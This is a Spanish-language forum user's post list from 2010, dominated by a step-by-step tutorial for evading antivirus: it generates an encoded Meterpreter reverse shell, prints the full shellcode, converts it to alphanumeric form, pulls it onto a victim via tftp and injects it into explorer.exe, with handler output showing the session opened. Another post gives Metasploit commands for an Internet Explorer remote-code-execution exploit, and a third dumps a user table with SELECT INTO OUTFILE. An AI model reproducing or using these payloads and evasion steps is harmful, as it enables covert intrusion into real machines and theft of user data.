Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Shell Root

#2061
El link funciona correctamente  :silbar:
#2062
PHP / Re: algoritmos de búsqueda
29 Diciembre 2010, 00:05 AM
Expresiones regulares, podrían ayudarte!
#2063
@illera88, si lees bien la puse...
#2065
Bypassing AVs inyectando con shells alfanuméricas

Bueno gente en hoy les voy a mostrar como bypassear el antivirus inyectando meterpreter directamente en otro proceso, logrando que este corra en el su mismo contexto, por medio de Injector una mini tool hecha por Amit Malik.

El escenario es el siguiente, tenemos shell sea php o clásica(esta voy a usar yo) en nuestra víctima, queremos subir meterpreter para poder aprovechar todo lo que nos brinda para la postexplotación pero cuando lo subimos el antivirus lo detecta y lo borra, con la pequeña introducción vamos a lo bueno.

Nuestra shell:
Código (dos) [Seleccionar]
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


ok lo que primero que vamos a hacer es crear el meterpreter que vamos a subir para inyectar, estos comando los tienen que ejecutar dentro del directorio de metasploit:
Código (bash) [Seleccionar]
@Free-Box:/opt/MSF/trunk$ [b]sudo ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 R|./msfencode -c 4 -e x86/shikata_ga_nai -o /tmp/meter.exe -t exe[/b]
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)


Ok que hice con este comando, generé un meterpreter y como tipo de salida de la instrucción msfpayload le dije RAW, a esa salida estandar la redirijí con un pipe al msfencode y lo encripté 4 veces con shikata_ga_nai y el formato de salida en perl.

Vamos a /tmp y nos fijamos si está:
Código (bash) [Seleccionar]
@Free-Box:/opt/MSF/trunk$[b] cd /tmp[/b]
@Free-Box:/tmp$ [b]ls|grep meter[/b]
meter
@Free-Box:/tmp$ [b]cat meter[/b]
buf =
"\x29\xc9\xbd\x63\x4e\x7c\x5e\xb1\x5e\xd9\xf7\xd9\x74\x24" +
"\xf4\x58\x31\x68\x0e\x03\x68\x0e\x83\xa3\x4a\x9e\xab\x9b" +
"\x39\xce\x70\xf5\x67\x37\x53\xc0\x41\xbc\x80\x26\x2a\x8c" +
"\x9e\xf7\x8e\xfd\xa3\x1c\xec\x01\xe7\x87\x7f\xd7\x71\x5f" +
"\x4b\x13\x6d\x5c\xae\x56\x99\x08\xbe\x6f\xfa\xf1\x81\x63" +
"\xaf\x71\x2a\x56\x8f\xff\x05\xdd\x64\x02\x3d\x0b\x12\x38" +
"\xae\x18\xef\x06\x6d\xff\x98\x1c\x82\x04\x68\x96\x9d\xb5" +
"\x80\x25\xd6\x17\x91\xd4\xdf\xe9\x82\x4f\xf1\xa0\x7a\x64" +
"\x44\x26\x18\x80\xe8\x00\x41\xaa\xc3\xf5\x0e\xbc\x7f\x0f" +
"\x30\xd6\x93\x91\x29\xd4\x13\xc8\x93\x5c\x0c\x2d\x28\x08" +
"\xca\x28\x1e\x1a\x39\x8f\xe4\xd9\xd1\xa6\x52\xeb\x00\x63" +
"\x67\x3f\x59\x57\x97\xd3\xb1\x13\x14\x53\x08\xcb\x24\x5a" +
"\xc8\xc0\xe4\xb8\x1b\x6f\x5b\xdd\xe1\x7b\xa8\x09\xdb\x06" +
"\x31\x24\xd0\xbf\x2f\x25\xf2\x4c\x49\xb4\x8b\x0a\x00\xc4" +
"\xcd\x74\x38\xbd\x14\x8c\xb4\xed\xcf\x2f\xb8\x01\x16\x31" +
"\xf1\xd0\x90\xd8\xfd\x33\x6a\xbf\xea\xaa\x46\xdd\x12\xa5" +
"\x13\x3b\x49\x53\x48\x2a\x28\x6b\x0b\x3b\x57\x7e\x84\x13" +
"\xf8\x7e\xd6\xcb\x83\x71\x4f\x55\xe8\x22\xb6\x07\x22\x9f" +
"\x8d\xc3\x5e\xd8\x6b\x89\x0e\x12\xe4\xc4\x6e\x8c\x32\x76" +
"\x24\x64\xd3\x5c\xbf\xd0\xbc\xab\x3c\x9b\xa2\xb9\xf9\xd8" +
"\x6d\x5e\x72\x94\x10\xa9\x58\xfe\xc0\x45\xb9\x53\x99\xa2" +
"\xff\x8c\x24\xf8\xc4\xab\x53\x96\x5b\xad\xf2\x29\xdd\x1e" +
"\x8f\x73\xad\x66\x84\x84\xb1\xd3\xc9\xe0\xba\x40\x6f\xa5" +
"\x17\xda\x1f\xa4\x35\x95\x46\x96\xf6\x9c\xfe\x92\xc0\xcc" +
"\xab\x42\x56\x8a\x1c\x79\x4e\xc3\x41\xf8\x83\xc8\x3a\x33" +
"\x42\x7d\xa9\xa8\xa2\xfd\x28\x8d\xd6\x9f\x41\x90\x33\x0c" +
"\xf6\xc2\x18\x23\x6f\x40\x48\xd6\x30\x30\x47\xc4\x8f\xb5" +
"\x22\xe0\x36\x98\xb0\xe5\xbc\x12\x2e\x3f\xf6\x5f\xc2\x49" +
"\x62\x2d\x52\xef\xaa\x84\x88"


Y ahí esta nuestro meterpreter, y ustedes dirán para que lo quiero así, no se apuren ahora viene esa parte.

Ok porqué lo necesito así porque para poder subirlo y que no lo detecte para nada vamos a convertir el shellcode a alfanumérico, que pasa si lo subimos directamente:


ok, para convertir nuestra shell usamos un script en python que nos provee el autor(al final el link de desacarga de todo) al cual le agregamos nuestra shell.
Código (python) [Seleccionar]
#!/usr/bin/python
#generic payload builder for injector
#Plz first test the payloads on your system.. otherwise you know you can't blame anyone :) 

shellcode=("\x29\xc9\xbd\x63\x4e\x7c\x5e\xb1\x5e\xd9\xf7\xd9\x74\x24\xf4\x58\x31\x68\x0e\x03\x68\x0e\x83\xa3\x4a\x9e\xab\x9b\x39\xce\x70\xf5\x67\x37\x53\xc0\x41\xbc\x80\x26\x2a\x8c\x9e\xf7\x8e\xfd\xa3\x1c\xec\x01\xe7\x87\x7f\xd7\x71\x5f\x4b\x13\x6d\x5c\xae\x56\x99\x08\xbe\x6f\xfa\xf1\x81\x63\xaf\x71\x2a\x56\x8f\xff\x05\xdd\x64\x02\x3d\x0b\x12\x38\xae\x18\xef\x06\x6d\xff\x98\x1c\x82\x04\x68\x96\x9d\xb5\x80\x25\xd6\x17\x91\xd4\xdf\xe9\x82\x4f\xf1\xa0\x7a\x64\x44\x26\x18\x80\xe8\x00\x41\xaa\xc3\xf5\x0e\xbc\x7f\x0f\x30\xd6\x93\x91\x29\xd4\x13\xc8\x93\x5c\x0c\x2d\x28\x08\xca\x28\x1e\x1a\x39\x8f\xe4\xd9\xd1\xa6\x52\xeb\x00\x63\x67\x3f\x59\x57\x97\xd3\xb1\x13\x14\x53\x08\xcb\x24\x5a\xc8\xc0\xe4\xb8\x1b\x6f\x5b\xdd\xe1\x7b\xa8\x09\xdb\x06\x31\x24\xd0\xbf\x2f\x25\xf2\x4c\x49\xb4\x8b\x0a\x00\xc4\xcd\x74\x38\xbd\x14\x8c\xb4\xed\xcf\x2f\xb8\x01\x16\x31\xf1\xd0\x90\xd8\xfd\x33\x6a\xbf\xea\xaa\x46\xdd\x12\xa5\x13\x3b\x49\x53\x48\x2a\x28\x6b\x0b\x3b\x57\x7e\x84\x13\xf8\x7e\xd6\xcb\x83\x71\x4f\x55\xe8\x22\xb6\x07\x22\x9f\x8d\xc3\x5e\xd8\x6b\x89\x0e\x12\xe4\xc4\x6e\x8c\x32\x76\x24\x64\xd3\x5c\xbf\xd0\xbc\xab\x3c\x9b\xa2\xb9\xf9\xd8\x6d\x5e\x72\x94\x10\xa9\x58\xfe\xc0\x45\xb9\x53\x99\xa2\xff\x8c\x24\xf8\xc4\xab\x53\x96\x5b\xad\xf2\x29\xdd\x1e\x8f\x73\xad\x66\x84\x84\xb1\xd3\xc9\xe0\xba\x40\x6f\xa5\x17\xda\x1f\xa4\x35\x95\x46\x96\xf6\x9c\xfe\x92\xc0\xcc\xab\x42\x56\x8a\x1c\x79\x4e\xc3\x41\xf8\x83\xc8\x3a\x33\x42\x7d\xa9\xa8\xa2\xfd\x28\x8d\xd6\x9f\x41\x90\x33\x0c\xf6\xc2\x18\x23\x6f\x40\x48\xd6\x30\x30\x47\xc4\x8f\xb5\x22\xe0\x36\x98\xb0\xe5\xbc\x12\x2e\x3f\xf6\x5f\xc2\x49\x62\x2d\x52\xef\xaa\x84\x88")

buffer=shellcode

file=open("pgeneric.txt","w")

file.write(buffer)


Y lo ejecutamos:
Código (bash) [Seleccionar]
Free-Box:/tmp$ python generic.py

Nuestra shell se pasa a llamar pgeneric.txt y si la abren van a ver todo alfanumérico.
Ok ya tenemos nuestra shell vamos a subirla, en mi caso supongamos que estamos en un backtrack, ási que subimos el TFPT server y le damos el siguiente comando a la shell que tenemos abierta:

Código (dos) [Seleccionar]
C:\WINDOWS\system32> tftp -i 192.168.1.101 GET pgeneric.txt

Para que vean que el antivirus está actualizado:


La escaneo con el antivirus y:


ok ya tenemos nuestra shell, ahora subimos el Injector
Código (dos) [Seleccionar]
C:\WINDOWS\system32> tftp -i 192.168.1.101 GET injector.exe

Lo escaneamos y:




bueno nada es detectado así que seteamos un handler de metasploit para que reciba nuestro reverse meterpreter
Código (bash) [Seleccionar]
msf > [b]use multi/handler[/b]
msf exploit(handler) > [b]set payload windows/meterpreter/reverse_tcp[/b]
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > [b]show options
[/b]
Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > [b]set lhost 192.168.1.101[/b]
lhost => 192.168.1.101
msf exploit(handler) > [b]exploit [/b]               

[*] Started reverse handler on 192.168.1.101:4444
[*] Starting the payload handler...


hacemos un tasklist para buscar un pid de proceso, en este caso yo voy a usar el explorer que es el 180 y ejecutamos lo siguiente
Código (dos) [Seleccionar]
C:\WINDOWS\system32> cd..
C:\WINDOWS> cd ..
C:\> cd Documents and Settings
C:\Documents and Settings> cd Administrator
C:\Documents and Settings\Administrator>cd Desktop
C:\Documents and Settings\Administrator\Desktop>injector pgeneric.txt 180
[*] Author: DouBle_Zer0
[*] HACKERS GARAGE Production
[*] Visit Us: http://www.garage4hackers.com

C:\Documents and Settings\Administrator\Desktop>


y del lado del handler tenemos
Código (bash) [Seleccionar]
msf exploit(handler) > exploit               

[*] Started reverse handler on 192.168.1.101:4444
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.1.106
[*] Meterpreter session 4 opened (192.168.1.101:4444 -> 192.168.1.106:1065) at Fri Dec 24 10:12:21 -0300 2010

meterpreter > pwd
C:\Documents and Settings\Administrator
meterpreter > getuid
Server username: XP_FDCC\Renamed_Admin


y el antivirus ni enterado de nada.

link de descarga: :http://www.4shared.com/file/hhHntIlE/injector.html

bueno gente espero que les haya gustado, que tengan felices fiestas y que papa noel les traiga muchos root passwords para todos,jejeje.hasta la próxima.

Visto en: :http://rusopro.diosdelared.com/?coment=9096
#2066
[0 Day] RCE en Internet Explorer 6, 7 y 8


INFORMACIÓN
Microsoft publicó un boletín informando de una vulnerabilidad (CVE-2010-3962) que afecta a varias de las versiones soportadas de su navegador Internet Explorer 6, 7 y 8; la cual están investigando y por el momento no tiene un parche de solución.

El principal impacto que puede generar esta vulnerabilidad es la ejecución remota de código (RCE -Remote Code Execution-).

El boletín de Microsoft provee soluciones provisionales para evitar la amenaza, las cuales son:

  • Evitar el estilo CSS del sitio usando estilos CSS definidos por el usuario
  • Utilizar el kit de herramientas EMET
  • Utilizar la protección DEP para IE 7
  • Leer correos en modo texto
  • Fijar las zonas de Intranet e Internet en modo de seguridad "Alto" para bloquear los controles ActiveX y el Active Scripting en esas zonas.

También se informa que el Internet Explorer 9 (Beta) no es afectado y se puede usar sin problemas. En el caso de Internet Explorer 8 en su instalación con valores por defecto es poco probable que sea afectado ya que ofrece la protección DEP.




El módulo explota una vulnerabilidad de corrupción de memoria en el motor HTML de Microsoft (MSHTML). Al analizar una página HTML que contiene una etiqueta especialmente diseñada en CSS provoca la corrupción de memoria lo que conlleva a la ejecución de código arbitrario.

Exploit
Código (ruby) [Seleccionar]
use exploit/windows/browser/ms10_xxx_ie_css_clip

Payload
Código (ruby) [Seleccionar]
set PAYLOAD windows/meterpreter/reverse_tcp

Comandos del Metasploit
Código (ruby) [Seleccionar]
use exploit/windows/browser/ms10_xxx_ie_css_ clip
set SRVHOST IP
set payload windows/meterpreter/reverse_tcp
set LHOST IP
exploit


Video
Debido a algunos problemas con mis máquinas virtuales, opté por poner un vídeo de un tercero.

[youtube=425,350]http://www.youtube.com/watch?v=xbIxkltlP1I[/youtube]

Visto en: :http://daw-labs.com/rce-en-internet-explorer-6-7-y-8/
#2067
A mi si me funciona correctamente, así: Generado desde phpmyadmin
Código (sql) [Seleccionar]
SELECT * INTO OUTFILE 'c:\SQL.txt' FROM e107_user;
#2068
Foro Libre / Re: ¿Tienes Mascotas? Muestrala
24 Diciembre 2010, 06:45 AM
Que bonitos metadatos he visto XD
#2069
Cómo va a existir un archivo llamado c:\salitasql.txt\, no debería ser c:\salitasql.txt
#2070
:o eso no lo sabía...